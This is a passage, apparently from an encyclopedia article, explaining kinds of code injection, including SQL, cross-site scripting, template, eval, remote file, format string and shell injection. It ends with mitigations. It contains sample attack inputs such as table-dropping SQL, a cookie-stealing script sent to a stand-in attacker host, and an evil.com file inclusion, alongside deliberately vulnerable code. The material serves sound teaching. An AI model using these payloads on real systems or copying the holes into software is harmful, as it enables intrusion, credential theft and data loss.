Code injection

SQL injection

An SQL injection attack takes advantage of SQL syntax to inject malicious commands that can read or modify a database or otherwise compromise the meaning of the original query.^[13]

For example, consider a web page that has two text fields which allow users to enter a username and a password to log in to the web site. The (hypothetical) web server code will receive the username and password parameters, and will generate an SQL query to check that the username exists and that the password is correct for that user. If the query returns any rows, then access is granted.

For example, if given the username alice and the password hunter2, the server will generate and run this query:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'alice'
AND UserList.Password = 'hunter2'

However, if the attacker instead provides hunter2' OR '1'='1 in the password field, then the server will generate and run this query:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'alice'
AND UserList.Password = 'hunter2' OR '1'='1'

While hunter2 might or might not be the correct password, the expression '1'='1' is always true and the database will return all rows in the UserList table — thus allowing the attacker to log in even if they don't have the correct password.

The technique may be extended to allow the attacker to execute multiple statements. For example, if the attacker provided the password hunter2'; DROP TABLE UserList; --, the resulting query would be:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'alice'
AND UserList.Password = 'hunter2'; DROP TABLE UserList; --'

Because the ; symbol signifies the end of one statement, it is possible to begin a new statement — in this case, DROP TABLE. The symbol -- signifies the start of a comment, thus neutralizing the trailing ' that the server adds when generating the query syntax. As a result of these two statements, no rows will be returned (unless by chance the user Username has a blank password), and the entire UserList table will be deleted.

For database engines that extend SQL to allow queries to invoke external programs, the attacker could gain that capability as well.

Cross-site scripting

Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users and typically receives messages such as:

Very nice site!

However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.

HTML and script injection are popular subjects, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.^[14]

Server-side template injection

Template engines are often used in modern web applications to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities^[15] such as server-side Side Template Injections. While this vulnerability is similar to cross-site scripting, template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template {{visitor_name}} is replaced with data during the rendering process.

Hello {{visitor_name}}

An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious visitor_name. Depending on the implementation of the web application, he could choose to inject {{7*'7'}} which the renderer could resolve to Hello 7777777. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to remote code execution.

Dynamic evaluation vulnerabilities

An eval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.^[16]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Object injection

PHP allows serialization and deserialization of whole objects. If an untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.^[17] Such an attack on Joomla was found in 2013.^[18]

Remote file injection

Consider this PHP program (which includes a file specified by request):

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

The example expects a color to be provided, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the remote file.

Format specifier injection

Format string bugs appear most commonly when a programmer wishes to print a string containing user-supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array password which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.

#include <stdio.h>

char input[100];
int number;
char password[10] = "Password1";

printf("Enter an integer\n");
scanf("%d", &number);
printf("Please enter a string\n");
fgets(input, sizeof(input), stdin);

printf(input);
printf("\n");

If the user input is filled with a list of format specifiers, such as %s%s%s%s%s%s%s%s, then printf()will start reading from the stack. Eventually, one of the %s format specifiers will access the address of password, which is on the stack, and print Password1 to the screen.

Instead, to safely print the input:

printf("%s", input);

This hard-codes the format behavior, preventing format specifier injection.

Shell injection

Shell injection (or command injection^{[19][unreliable source?]}) is named after UNIX shells but applies to most systems that allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:

#!/bin/tcsh
# check arg
# outputs "it matches" if the argument is 1
if ($1 == 1) echo it matches

If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the (hypothetical) shell command evil instead of comparing the first argument with the constant value 1. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.^[20]

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system(), StartProcess(), and System.Diagnostics.Process.Start().

Client-server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext to replace a word the user sent with some other word.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

The passthru function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):^[21]

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

• PHP: escapeshellarg() and escapeshellcmd()
• Python: shlex.quote()

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

The safer alternative is to use APIs that implement the desired functionality directly in the given programming language rather than by invoking an external program in a shell, thus preventing the possibility of shell injection. For example, rather than implementing Git functionality by invoking git ... shell commands, it is better to use a Git API such as libgit2.